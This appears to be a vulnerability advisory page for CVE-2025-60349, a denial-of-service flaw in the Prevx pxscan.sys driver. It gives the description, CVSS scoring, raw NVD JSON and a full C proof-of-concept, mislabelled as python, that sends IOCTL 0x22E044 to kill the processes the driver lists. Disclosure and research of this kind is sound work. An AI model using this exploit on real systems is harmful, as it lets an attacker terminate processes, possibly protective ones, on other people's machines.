Security Vulnerability Report
中文
CVE-2025-60349 CVSS 7.5 HIGH

CVE-2025-60349

Published: 2025-10-28 16:15:39
Last Modified: 2026-04-15 00:35:42

Description

An issue was discovered in Prevx v3.0.5.220 allowing attackers to cause a denial of service via sending IOCTL code 0x22E044 to the pxscan.sys driver. Any processes listed under registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\pxscan\Files will be terminated.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Prevx v3.0.5.220

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-60349 PoC - IOCTL 0x22E044 DoS Exploit // Target: Prevx pxscan.sys driver v3.0.5.220 // Description: Sends malicious IOCTL code to terminate processes listed in registry #include <windows.h> #include <stdio.h> #define IOCTL_CODE 0x22E044 #define TARGET_DEVICE "\\\\.\\pxscan" int main() { HANDLE hDevice; DWORD bytesReturned; BOOL result; printf("[*] CVE-2025-60349 PoC - Prevx pxscan.sys DoS\n"); printf("[*] IOCTL Code: 0x%X\n", IOCTL_CODE); // Open handle to pxscan.sys driver hDevice = CreateFileA( TARGET_DEVICE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle. Error: %d\n", GetLastError()); return 1; } printf("[+] Device handle opened successfully\n"); // Send malicious IOCTL code to trigger DoS result = DeviceIoControl( hDevice, IOCTL_CODE, NULL, 0, NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] IOCTL request sent successfully\n"); printf("[+] Processes in registry list should be terminated\n"); } else { printf("[-] IOCTL request failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60349", "sourceIdentifier": "[email protected]", "published": "2025-10-28T16:15:39.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Prevx v3.0.5.220 allowing attackers to cause a denial of service via sending IOCTL code 0x22E044 to the pxscan.sys driver. Any processes listed under registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\pxscan\\Files will be terminated."}, {"lang": "es", "value": "Se descubrió un problema en Prevx v3.0.5.220 que permite a los atacantes causar una denegación de servicio mediante el envío del código IOCTL 0x22E044 al controlador pxscan.sys. Cualquier proceso listado bajo la clave de registro HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\pxscan\\Files será terminado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "http://prevx.com", "source": "[email protected]"}, {"url": "https://github.com/djackreuter/CVE-2025-60349", "source": "[email protected]"}]}}